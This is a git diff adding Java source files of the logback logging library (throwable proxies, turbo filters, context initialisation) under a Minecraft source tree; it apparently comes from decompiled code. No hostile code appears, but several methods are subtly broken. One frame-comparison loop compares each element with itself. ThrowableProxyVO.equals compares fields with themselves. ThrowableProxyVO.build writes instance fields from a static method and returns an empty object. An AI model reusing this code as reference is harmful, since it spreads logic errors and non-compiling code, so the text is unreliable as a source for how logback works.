+    StackTraceElement[] nestedSTE = nestedThrowable.getStackTrace();
+    
+    int commonFramesCount = -1;
+    if (parentTP != null) {
+      commonFramesCount = findNumberOfCommonFrames(nestedSTE, parentTP.getStackTraceElementProxyArray());
+    }
+    
+
+    commonFrames = commonFramesCount;
+    stackTraceElementProxyArray = steArrayToStepArray(nestedSTE);
+  }
+  
+  static StackTraceElementProxy[] steArrayToStepArray(StackTraceElement[] stea) {
+    if (stea == null) {
+      return new StackTraceElementProxy[0];
+    }
+    StackTraceElementProxy[] stepa = new StackTraceElementProxy[stea.length];
+    for (int i = 0; i < stepa.length; i++) {
+      stepa[i] = new StackTraceElementProxy(stea[i]);
+    }
+    return stepa;
+  }
+  
+  static int findNumberOfCommonFrames(StackTraceElement[] steArray, StackTraceElementProxy[] parentSTEPArray)
+  {
+    if ((parentSTEPArray == null) || (steArray == null)) {
+      return 0;
+    }
+    
+    int steIndex = steArray.length - 1;
+    int parentIndex = parentSTEPArray.length - 1;
+    int count = 0;
+    while ((steIndex >= 0) && (parentIndex >= 0)) {
+      StackTraceElement ste = steArray[steIndex];
+      StackTraceElement otherSte = ste;
+      if (!ste.equals(otherSte)) break;
+      count++;
+      
+
+
+      steIndex--;
+      parentIndex--;
+    }
+    return count;
+  }
+  
+  public static String asString(IThrowableProxy tp) {
+    StringBuilder sb = new StringBuilder(2048);
+    
+    recursiveAppend(sb, null, 1, tp);
+    
+    return sb.toString();
+  }
+  
+  private static void recursiveAppend(StringBuilder sb, String prefix, int indent, IThrowableProxy tp) {
+    if (tp == null)
+      return;
+    subjoinFirstLine(sb, prefix, indent, tp);
+    sb.append(CoreConstants.LINE_SEPARATOR);
+    subjoinSTEPArray(sb, indent, tp);
+    IThrowableProxy[] suppressed = tp.getSuppressed();
+    if (suppressed != null) {
+      for (IThrowableProxy current : suppressed) {
+        recursiveAppend(sb, "Suppressed: ", indent + 1, current);
+      }
+    }
+    recursiveAppend(sb, "Caused by: ", indent, tp.getCause());
+  }
+  
+  public static void indent(StringBuilder buf, int indent) {
+    for (int j = 0; j < indent; j++) {
+      buf.append('\t');
+    }
+  }
+  
+  private static void subjoinFirstLine(StringBuilder buf, String prefix, int indent, IThrowableProxy tp) {
+    indent(buf, indent - 1);
+    if (prefix != null) {
+      buf.append(prefix);
+    }
+    subjoinExceptionMessage(buf, tp);
+  }
+  
+  public static void subjoinPackagingData(StringBuilder builder, StackTraceElementProxy step) {
+    if (step != null) {
+      ClassPackagingData cpd = step.getClassPackagingData();
+      if (cpd != null) {
+        if (!cpd.isExact()) {
+          builder.append(" ~[");
+        } else {
+          builder.append(" [");
+        }
+        
+        builder.append(cpd.getCodeLocation()).append(':').append(cpd.getVersion()).append(']');
+      }
+    }
+  }
+  
+  public static void subjoinSTEP(StringBuilder sb, StackTraceElementProxy step)
+  {
+    sb.append(step.toString());
+    subjoinPackagingData(sb, step);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public static void subjoinSTEPArray(StringBuilder sb, IThrowableProxy tp)
+  {
+    subjoinSTEPArray(sb, 1, tp);
+  }
+  
+
+
+
+
+  public static void subjoinSTEPArray(StringBuilder sb, int indentLevel, IThrowableProxy tp)
+  {
+    StackTraceElementProxy[] stepArray = tp.getStackTraceElementProxyArray();
+    int commonFrames = tp.getCommonFrames();
+    
+    for (int i = 0; i < stepArray.length - commonFrames; i++) {
+      StackTraceElementProxy step = stepArray[i];
+      indent(sb, indentLevel);
+      subjoinSTEP(sb, step);
+      sb.append(CoreConstants.LINE_SEPARATOR);
+    }
+    
+    if (commonFrames > 0) {
+      indent(sb, indentLevel);
+      sb.append("... ").append(commonFrames).append(" common frames omitted").append(CoreConstants.LINE_SEPARATOR);
+    }
+  }
+  
+
+  public static void subjoinFirstLine(StringBuilder buf, IThrowableProxy tp)
+  {
+    int commonFrames = tp.getCommonFrames();
+    if (commonFrames > 0) {
+      buf.append("Caused by: ");
+    }
+    subjoinExceptionMessage(buf, tp);
+  }
+  
+  public static void subjoinFirstLineRootCauseFirst(StringBuilder buf, IThrowableProxy tp) {
+    if (tp.getCause() != null) {
+      buf.append("Wrapped by: ");
+    }
+    subjoinExceptionMessage(buf, tp);
+  }
+  
+  private static void subjoinExceptionMessage(StringBuilder buf, IThrowableProxy tp) {
+    buf.append(tp.getClassName()).append(": ").append(tp.getMessage());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxyVO.java b/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxyVO.java
new file mode 100644
index 0000000..60791e7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxyVO.java
@@ -0,0 +1,117 @@
+package ch.qos.logback.classic.spi;
+
+import java.io.Serializable;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThrowableProxyVO
+  implements IThrowableProxy, Serializable
+{
+  private static final long serialVersionUID = -773438177285807139L;
+  private String className;
+  private String message;
+  private int commonFramesCount;
+  private StackTraceElementProxy[] stackTraceElementProxyArray;
+  private IThrowableProxy cause;
+  private IThrowableProxy[] suppressed;
+  
+  public ThrowableProxyVO() {}
+  
+  public String getMessage()
+  {
+    return message;
+  }
+  
+  public String getClassName() {
+    return className;
+  }
+  
+  public int getCommonFrames() {
+    return commonFramesCount;
+  }
+  
+  public IThrowableProxy getCause() {
+    return cause;
+  }
+  
+  public StackTraceElementProxy[] getStackTraceElementProxyArray() {
+    return stackTraceElementProxyArray;
+  }
+  
+  public IThrowableProxy[] getSuppressed() {
+    return suppressed;
+  }
+  
+  public int hashCode()
+  {
+    int prime = 31;
+    int result = 1;
+    result = 31 * result + (className == null ? 0 : className.hashCode());
+    
+    return result;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (obj == null)
+      return false;
+    if (getClass() != obj.getClass())
+      return false;
+    ThrowableProxyVO other = (ThrowableProxyVO)obj;
+    
+    if (className == null) {
+      if (className != null)
+        return false;
+    } else if (!className.equals(className)) {
+      return false;
+    }
+    if (!Arrays.equals(stackTraceElementProxyArray, stackTraceElementProxyArray)) {
+      return false;
+    }
+    if (!Arrays.equals(suppressed, suppressed)) {
+      return false;
+    }
+    if (cause == null) {
+      if (cause != null)
+        return false;
+    } else if (!cause.equals(cause)) {
+      return false;
+    }
+    return true;
+  }
+  
+  public static ThrowableProxyVO build(IThrowableProxy throwableProxy) {
+    if (throwableProxy == null) {
+      return null;
+    }
+    ThrowableProxyVO tpvo = new ThrowableProxyVO();
+    className = throwableProxy.getClassName();
+    message = throwableProxy.getMessage();
+    commonFramesCount = throwableProxy.getCommonFrames();
+    stackTraceElementProxyArray = throwableProxy.getStackTraceElementProxyArray();
+    IThrowableProxy cause = throwableProxy.getCause();
+    if (cause != null) {
+      cause = build(cause);
+    }
+    IThrowableProxy[] suppressed = throwableProxy.getSuppressed();
+    if (suppressed != null) {
+      suppressed = new IThrowableProxy[suppressed.length];
+      for (int i = 0; i < suppressed.length; i++) {
+        suppressed[i] = build(suppressed[i]);
+      }
+    }
+    return tpvo;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/TurboFilterList.java b/src/minecraft/ch/qos/logback/classic/spi/TurboFilterList.java
new file mode 100644
index 0000000..9a2114c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/TurboFilterList.java
@@ -0,0 +1,69 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.turbo.TurboFilter;
+import ch.qos.logback.core.spi.FilterReply;
+import java.util.concurrent.CopyOnWriteArrayList;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class TurboFilterList
+  extends CopyOnWriteArrayList<TurboFilter>
+{
+  private static final long serialVersionUID = 1L;
+  
+  public TurboFilterList() {}
+  
+  public FilterReply getTurboFilterChainDecision(Marker marker, Logger logger, Level level, String format, Object[] params, Throwable t)
+  {
+    int size = size();
+    
+
+
+    if (size == 1) {
+      try {
+        TurboFilter tf = (TurboFilter)get(0);
+        return tf.decide(marker, logger, level, format, params, t);
+      } catch (IndexOutOfBoundsException iobe) {
+        return FilterReply.NEUTRAL;
+      }
+    }
+    
+    Object[] tfa = toArray();
+    int len = tfa.length;
+    for (int i = 0; i < len; i++)
+    {
+      TurboFilter tf = (TurboFilter)tfa[i];
+      FilterReply r = tf.decide(marker, logger, level, format, params, t);
+      if ((r == FilterReply.DENY) || (r == FilterReply.ACCEPT)) {
+        return r;
+      }
+    }
+    return FilterReply.NEUTRAL;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/DuplicateMessageFilter.java b/src/minecraft/ch/qos/logback/classic/turbo/DuplicateMessageFilter.java
new file mode 100644
index 0000000..ac7817e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/DuplicateMessageFilter.java
@@ -0,0 +1,90 @@
+package ch.qos.logback.classic.turbo;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.core.spi.FilterReply;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DuplicateMessageFilter
+  extends TurboFilter
+{
+  public static final int DEFAULT_CACHE_SIZE = 100;
+  public static final int DEFAULT_ALLOWED_REPETITIONS = 5;
+  public int allowedRepetitions = 5;
+  public int cacheSize = 100;
+  private LRUMessageCache msgCache;
+  
+  public DuplicateMessageFilter() {}
+  
+  public void start() {
+    msgCache = new LRUMessageCache(cacheSize);
+    super.start();
+  }
+  
+  public void stop()
+  {
+    msgCache.clear();
+    msgCache = null;
+    super.stop();
+  }
+  
+
+  public FilterReply decide(Marker marker, Logger logger, Level level, String format, Object[] params, Throwable t)
+  {
+    int count = msgCache.getMessageCountAndThenIncrement(format);
+    if (count <= allowedRepetitions) {
+      return FilterReply.NEUTRAL;
+    }
+    return FilterReply.DENY;
+  }
+  
+  public int getAllowedRepetitions()
+  {
+    return allowedRepetitions;
+  }
+  
+
+
+
+
+  public void setAllowedRepetitions(int allowedRepetitions)
+  {
+    this.allowedRepetitions = allowedRepetitions;
+  }
+  
+  public int getCacheSize() {
+    return cacheSize;
+  }
+  
+  public void setCacheSize(int cacheSize) {
+    this.cacheSize = cacheSize;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/DynamicThresholdFilter.java b/src/minecraft/ch/qos/logback/classic/turbo/DynamicThresholdFilter.java
new file mode 100644
index 0000000..b589b86
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/DynamicThresholdFilter.java
@@ -0,0 +1,256 @@
+package ch.qos.logback.classic.turbo;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.core.spi.FilterReply;
+import java.util.HashMap;
+import java.util.Map;
+import org.slf4j.MDC;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DynamicThresholdFilter
+  extends TurboFilter
+{
+  private Map<String, Level> valueLevelMap = new HashMap();
+  private Level defaultThreshold = Level.ERROR;
+  
+  private String key;
+  private FilterReply onHigherOrEqual = FilterReply.NEUTRAL;
+  private FilterReply onLower = FilterReply.DENY;
+  
+
+  public DynamicThresholdFilter() {}
+  
+
+  public String getKey()
+  {
+    return key;
+  }
+  
+
+
+  public void setKey(String key)
+  {
+    this.key = key;
+  }
+  
+
+
+
+
+  public Level getDefaultThreshold()
+  {
+    return defaultThreshold;
+  }
+  
+  public void setDefaultThreshold(Level defaultThreshold) {
+    this.defaultThreshold = defaultThreshold;
+  }
+  
+
+
+
+
+
+  public FilterReply getOnHigherOrEqual()
+  {
+    return onHigherOrEqual;
+  }
+  
+  public void setOnHigherOrEqual(FilterReply onHigherOrEqual) {
+    this.onHigherOrEqual = onHigherOrEqual;
+  }
+  
+
+
+
+
+
+  public FilterReply getOnLower()
+  {
+    return onLower;
+  }
+  
+  public void setOnLower(FilterReply onLower) {
+    this.onLower = onLower;
+  }
+  
+
+
+  public void addMDCValueLevelPair(MDCValueLevelPair mdcValueLevelPair)
+  {
+    if (valueLevelMap.containsKey(mdcValueLevelPair.getValue())) {
+      addError(mdcValueLevelPair.getValue() + " has been already set");
+    } else {
+      valueLevelMap.put(mdcValueLevelPair.getValue(), mdcValueLevelPair.getLevel());
+    }
+  }
+  
+
+
+
+
+  public void start()
+  {
+    if (key == null) {
+      addError("No key name was specified");
+    }
+    super.start();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public FilterReply decide(Marker marker, Logger logger, Level level, String s, Object[] objects, Throwable throwable)
+  {
+    String mdcValue = MDC.get(key);
+    if (!isStarted()) {
+      return FilterReply.NEUTRAL;
+    }
+    
+    Level levelAssociatedWithMDCValue = null;
+    if (mdcValue != null) {
+      levelAssociatedWithMDCValue = (Level)valueLevelMap.get(mdcValue);
+    }
+    if (levelAssociatedWithMDCValue == null) {
+      levelAssociatedWithMDCValue = defaultThreshold;
+    }
+    if (level.isGreaterOrEqual(levelAssociatedWithMDCValue)) {
+      return onHigherOrEqual;
+    }
+    return onLower;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/LRUMessageCache.java b/src/minecraft/ch/qos/logback/classic/turbo/LRUMessageCache.java
new file mode 100644
index 0000000..ced7fbc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/LRUMessageCache.java
@@ -0,0 +1,66 @@
+package ch.qos.logback.classic.turbo;
+
+import java.util.LinkedHashMap;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class LRUMessageCache
+  extends LinkedHashMap<String, Integer>
+{
+  private static final long serialVersionUID = 1L;
+  final int cacheSize;
+  
+  LRUMessageCache(int cacheSize)
+  {
+    super((int)(cacheSize * 1.3333334F), 0.75F, true);
+    if (cacheSize < 1) {
+      throw new IllegalArgumentException("Cache size cannot be smaller than 1");
+    }
+    this.cacheSize = cacheSize;
+  }
+  
+  int getMessageCountAndThenIncrement(String msg)
+  {
+    if (msg == null) {
+      return 0;
+    }
+    
+    Integer i;
+    
+    synchronized (this) {
+      i = (Integer)super.get(msg);
+      if (i == null) {
+        i = Integer.valueOf(0);
+      } else {
+        i = Integer.valueOf(i.intValue() + 1);
+      }
+      super.put(msg, i);
+    }
+    return i.intValue();
+  }
+  
+
+  protected boolean removeEldestEntry(Map.Entry eldest)
+  {
+    return size() > cacheSize;
+  }
+  
+  public synchronized void clear()
+  {
+    super.clear();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/MDCFilter.java b/src/minecraft/ch/qos/logback/classic/turbo/MDCFilter.java
new file mode 100644
index 0000000..8cf27ed
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/MDCFilter.java
@@ -0,0 +1,71 @@
+package ch.qos.logback.classic.turbo;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.core.spi.FilterReply;
+import org.slf4j.MDC;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MDCFilter
+  extends MatchingFilter
+{
+  String MDCKey;
+  String value;
+  
+  public MDCFilter() {}
+  
+  public FilterReply decide(Marker marker, Logger logger, Level level, String format, Object[] params, Throwable t)
+  {
+    if (MDCKey == null) {
+      return FilterReply.NEUTRAL;
+    }
+    
+    String value = MDC.get(MDCKey);
+    if (this.value.equals(value)) {
+      return onMatch;
+    }
+    return onMismatch;
+  }
+  
+  public void setValue(String value) {
+    this.value = value;
+  }
+  
+  public void setMDCKey(String MDCKey) {
+    this.MDCKey = MDCKey;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/MDCValueLevelPair.java b/src/minecraft/ch/qos/logback/classic/turbo/MDCValueLevelPair.java
new file mode 100644
index 0000000..cbfb3bc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/MDCValueLevelPair.java
@@ -0,0 +1,44 @@
+package ch.qos.logback.classic.turbo;
+
+import ch.qos.logback.classic.Level;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MDCValueLevelPair
+{
+  private String value;
+  private Level level;
+  
+  public MDCValueLevelPair() {}
+  
+  public String getValue()
+  {
+    return value;
+  }
+  
+  public void setValue(String name) {
+    value = name;
+  }
+  
+  public Level getLevel() {
+    return level;
+  }
+  
+  public void setLevel(Level level) {
+    this.level = level;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/MarkerFilter.java b/src/minecraft/ch/qos/logback/classic/turbo/MarkerFilter.java
new file mode 100644
index 0000000..a84de54
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/MarkerFilter.java
@@ -0,0 +1,67 @@
+package ch.qos.logback.classic.turbo;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.core.spi.FilterReply;
+import org.slf4j.Marker;
+import org.slf4j.MarkerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MarkerFilter
+  extends MatchingFilter
+{
+  Marker markerToMatch;
+  
+  public MarkerFilter() {}
+  
+  public void start()
+  {
+    if (markerToMatch != null) {
+      super.start();
+    } else {
+      addError("The marker property must be set for [" + getName() + "]");
+    }
+  }
+  
+  public FilterReply decide(Marker marker, Logger logger, Level level, String format, Object[] params, Throwable t)
+  {
+    if (!isStarted()) {
+      return FilterReply.NEUTRAL;
+    }
+    
+    if (marker == null) {
+      return onMismatch;
+    }
+    
+    if (marker.contains(markerToMatch)) {
+      return onMatch;
+    }
+    return onMismatch;
+  }
+  
+
+
+
+
+
+  public void setMarker(String markerStr)
+  {
+    if (markerStr != null) {
+      markerToMatch = MarkerFactory.getMarker(markerStr);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/MatchingFilter.java b/src/minecraft/ch/qos/logback/classic/turbo/MatchingFilter.java
new file mode 100644
index 0000000..7dfa4e3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/MatchingFilter.java
@@ -0,0 +1,48 @@
+package ch.qos.logback.classic.turbo;
+
+import ch.qos.logback.core.spi.FilterReply;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MatchingFilter
+  extends TurboFilter
+{
+  public MatchingFilter() {}
+  
+  protected FilterReply onMatch = FilterReply.NEUTRAL;
+  protected FilterReply onMismatch = FilterReply.NEUTRAL;
+  
+  public final void setOnMatch(String action) {
+    if ("NEUTRAL".equals(action)) {
+      onMatch = FilterReply.NEUTRAL;
+    } else if ("ACCEPT".equals(action)) {
+      onMatch = FilterReply.ACCEPT;
+    } else if ("DENY".equals(action)) {
+      onMatch = FilterReply.DENY;
+    }
+  }
+  
+  public final void setOnMismatch(String action) {
+    if ("NEUTRAL".equals(action)) {
+      onMismatch = FilterReply.NEUTRAL;
+    } else if ("ACCEPT".equals(action)) {
+      onMismatch = FilterReply.ACCEPT;
+    } else if ("DENY".equals(action)) {
+      onMismatch = FilterReply.DENY;
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/ReconfigureOnChangeFilter.java b/src/minecraft/ch/qos/logback/classic/turbo/ReconfigureOnChangeFilter.java
new file mode 100644
index 0000000..2c042e8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/ReconfigureOnChangeFilter.java
@@ -0,0 +1,279 @@
+package ch.qos.logback.classic.turbo;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.gaffer.GafferUtil;
+import ch.qos.logback.classic.joran.JoranConfigurator;
+import ch.qos.logback.classic.util.EnvUtil;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.spi.ConfigurationWatchList;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.joran.util.ConfigurationWatchListUtil;
+import ch.qos.logback.core.spi.FilterReply;
+import ch.qos.logback.core.status.StatusUtil;
+import java.io.File;
+import java.net.URL;
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ReconfigureOnChangeFilter
+  extends TurboFilter
+{
+  public static final long DEFAULT_REFRESH_PERIOD = 60000L;
+  long refreshPeriod;
+  URL mainConfigurationURL;
+  protected volatile long nextCheck;
+  ConfigurationWatchList configurationWatchList;
+  private long invocationCounter;
+  private volatile long mask;
+  private volatile long lastMaskCheck;
+  private static final int MAX_MASK = 65535;
+  private static final long MASK_INCREASE_THRESHOLD = 100L;
+  private static final long MASK_DECREASE_THRESHOLD = 800L;
+  
+  public void start()
+  {
+    configurationWatchList = ConfigurationWatchListUtil.getConfigurationWatchList(context);
+    if (configurationWatchList != null) {
+      mainConfigurationURL = configurationWatchList.getMainURL();
+      if (mainConfigurationURL == null) {
+        addWarn("Due to missing top level configuration file, automatic reconfiguration is impossible.");
+        return;
+      }
+      List<File> watchList = configurationWatchList.getCopyOfFileWatchList();
+      long inSeconds = refreshPeriod / 1000L;
+      addInfo("Will scan for changes in [" + watchList + "] every " + inSeconds + " seconds. ");
+      
+      synchronized (configurationWatchList) {
+        updateNextCheck(System.currentTimeMillis());
+      }
+      super.start();
+    } else {
+      addWarn("Empty ConfigurationWatchList in context");
+    }
+  }
+  
+  public String toString()
+  {
+    return "ReconfigureOnChangeFilter{invocationCounter=" + invocationCounter + '}';
+  }
+  
+  public ReconfigureOnChangeFilter()
+  {
+    refreshPeriod = 60000L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    invocationCounter = 0L;
+    
+    mask = 15L;
+    lastMaskCheck = System.currentTimeMillis();
+  }
+  
+
+  public FilterReply decide(Marker marker, Logger logger, Level level, String format, Object[] params, Throwable t)
+  {
+    if (!isStarted()) {
+      return FilterReply.NEUTRAL;
+    }
+    
+
+
+
+    if ((invocationCounter++ & mask) != mask) {
+      return FilterReply.NEUTRAL;
+    }
+    
+    long now = System.currentTimeMillis();
+    
+    synchronized (configurationWatchList) {
+      updateMaskIfNecessary(now);
+      if (changeDetected(now))
+      {
+
+
+
+        disableSubsequentReconfiguration();
+        detachReconfigurationToNewThread();
+      }
+    }
+    
+    return FilterReply.NEUTRAL;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void updateMaskIfNecessary(long now)
+  {
+    long timeElapsedSinceLastMaskUpdateCheck = now - lastMaskCheck;
+    lastMaskCheck = now;
+    if ((timeElapsedSinceLastMaskUpdateCheck < 100L) && (mask < 65535L)) {
+      mask = (mask << 1 | 1L);
+    } else if (timeElapsedSinceLastMaskUpdateCheck > 800L) {
+      mask >>>= 2;
+    }
+  }
+  
+
+
+  void detachReconfigurationToNewThread()
+  {
+    addInfo("Detected change in [" + configurationWatchList.getCopyOfFileWatchList() + "]");
+    context.getExecutorService().submit(new ReconfiguringThread());
+  }
+  
+  void updateNextCheck(long now) {
+    nextCheck = (now + refreshPeriod);
+  }
+  
+  protected boolean changeDetected(long now) {
+    if (now >= nextCheck) {
+      updateNextCheck(now);
+      return configurationWatchList.changeDetected();
+    }
+    return false;
+  }
+  
+  void disableSubsequentReconfiguration() {
+    nextCheck = Long.MAX_VALUE;
+  }
+  
+  public long getRefreshPeriod() {
+    return refreshPeriod;
+  }
+  
+
+  public void setRefreshPeriod(long refreshPeriod) { this.refreshPeriod = refreshPeriod; }
+  
+  class ReconfiguringThread implements Runnable {
+    ReconfiguringThread() {}
+    
+    public void run() { if (mainConfigurationURL == null) {
+        addInfo("Due to missing top level configuration file, skipping reconfiguration");
+        return;
+      }
+      LoggerContext lc = (LoggerContext)context;
+      addInfo("Will reset and reconfigure context named [" + context.getName() + "]");
+      if (mainConfigurationURL.toString().endsWith("xml")) {
+        performXMLConfiguration(lc);
+      } else if (mainConfigurationURL.toString().endsWith("groovy")) {
+        if (EnvUtil.isGroovyAvailable()) {
+          lc.reset();
+          
+
+          GafferUtil.runGafferConfiguratorOn(lc, this, mainConfigurationURL);
+        } else {
+          addError("Groovy classes are not available on the class path. ABORTING INITIALIZATION.");
+        }
+      }
+    }
+    
+    private void performXMLConfiguration(LoggerContext lc) {
+      JoranConfigurator jc = new JoranConfigurator();
+      jc.setContext(context);
+      StatusUtil statusUtil = new StatusUtil(context);
+      List<SaxEvent> eventList = jc.recallSafeConfiguration();
+      URL mainURL = ConfigurationWatchListUtil.getMainWatchURL(context);
+      lc.reset();
+      long threshold = System.currentTimeMillis();
+      try {
+        jc.doConfigure(mainConfigurationURL);
+        if (statusUtil.hasXMLParsingErrors(threshold)) {
+          fallbackConfiguration(lc, eventList, mainURL);
+        }
+      } catch (JoranException e) {
+        fallbackConfiguration(lc, eventList, mainURL);
+      }
+    }
+    
+    private void fallbackConfiguration(LoggerContext lc, List<SaxEvent> eventList, URL mainURL) {
+      JoranConfigurator joranConfigurator = new JoranConfigurator();
+      joranConfigurator.setContext(context);
+      if (eventList != null) {
+        addWarn("Falling back to previously registered safe configuration.");
+        try {
+          lc.reset();
+          JoranConfigurator.informContextOfURLUsedForConfiguration(context, mainURL);
+          joranConfigurator.doConfigure(eventList);
+          addInfo("Re-registering previous fallback configuration once more as a fallback configuration point");
+          joranConfigurator.registerSafeConfiguration();
+        } catch (JoranException e) {
+          addError("Unexpected exception thrown by a configuration considered safe.", e);
+        }
+      } else {
+        addWarn("No previous configuration to fall back on.");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/turbo/TurboFilter.java b/src/minecraft/ch/qos/logback/classic/turbo/TurboFilter.java
new file mode 100644
index 0000000..3d4f23f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/turbo/TurboFilter.java
@@ -0,0 +1,76 @@
+package ch.qos.logback.classic.turbo;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.FilterReply;
+import ch.qos.logback.core.spi.LifeCycle;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TurboFilter
+  extends ContextAwareBase
+  implements LifeCycle
+{
+  private String name;
+  boolean start = false;
+  
+
+
+
+
+  public TurboFilter() {}
+  
+
+
+
+
+  public abstract FilterReply decide(Marker paramMarker, Logger paramLogger, Level paramLevel, String paramString, Object[] paramArrayOfObject, Throwable paramThrowable);
+  
+
+
+
+
+  public void start()
+  {
+    start = true;
+  }
+  
+  public boolean isStarted() {
+    return start;
+  }
+  
+  public void stop() {
+    start = false;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public void setName(String name) {
+    this.name = name;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/util/ContextInitializer.java b/src/minecraft/ch/qos/logback/classic/util/ContextInitializer.java
new file mode 100644
index 0000000..6fded8f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/util/ContextInitializer.java
@@ -0,0 +1,199 @@
+package ch.qos.logback.classic.util;
+
+import ch.qos.logback.classic.BasicConfigurator;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.gaffer.GafferUtil;
+import ch.qos.logback.classic.joran.JoranConfigurator;
+import ch.qos.logback.classic.spi.Configurator;
+import ch.qos.logback.core.LogbackException;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.status.ErrorStatus;
+import ch.qos.logback.core.status.InfoStatus;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.status.WarnStatus;
+import ch.qos.logback.core.util.Loader;
+import ch.qos.logback.core.util.OptionHelper;
+import java.io.File;
+import java.io.IOException;
+import java.net.MalformedURLException;
+import java.net.URI;
+import java.net.URL;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextInitializer
+{
+  public static final String GROOVY_AUTOCONFIG_FILE = "logback.groovy";
+  public static final String AUTOCONFIG_FILE = "logback.xml";
+  public static final String TEST_AUTOCONFIG_FILE = "logback-test.xml";
+  public static final String CONFIG_FILE_PROPERTY = "logback.configurationFile";
+  public static final String STATUS_LISTENER_CLASS = "logback.statusListenerClass";
+  public static final String SYSOUT = "SYSOUT";
+  final LoggerContext loggerContext;
+  
+  public ContextInitializer(LoggerContext loggerContext)
+  {
+    this.loggerContext = loggerContext;
+  }
+  
+  public void configureByResource(URL url) throws JoranException {
+    if (url == null) {
+      throw new IllegalArgumentException("URL argument cannot be null");
+    }
+    String urlString = url.toString();
+    if (urlString.endsWith("groovy")) {
+      if (EnvUtil.isGroovyAvailable())
+      {
+
+        GafferUtil.runGafferConfiguratorOn(loggerContext, this, url);
+      } else {
+        StatusManager sm = loggerContext.getStatusManager();
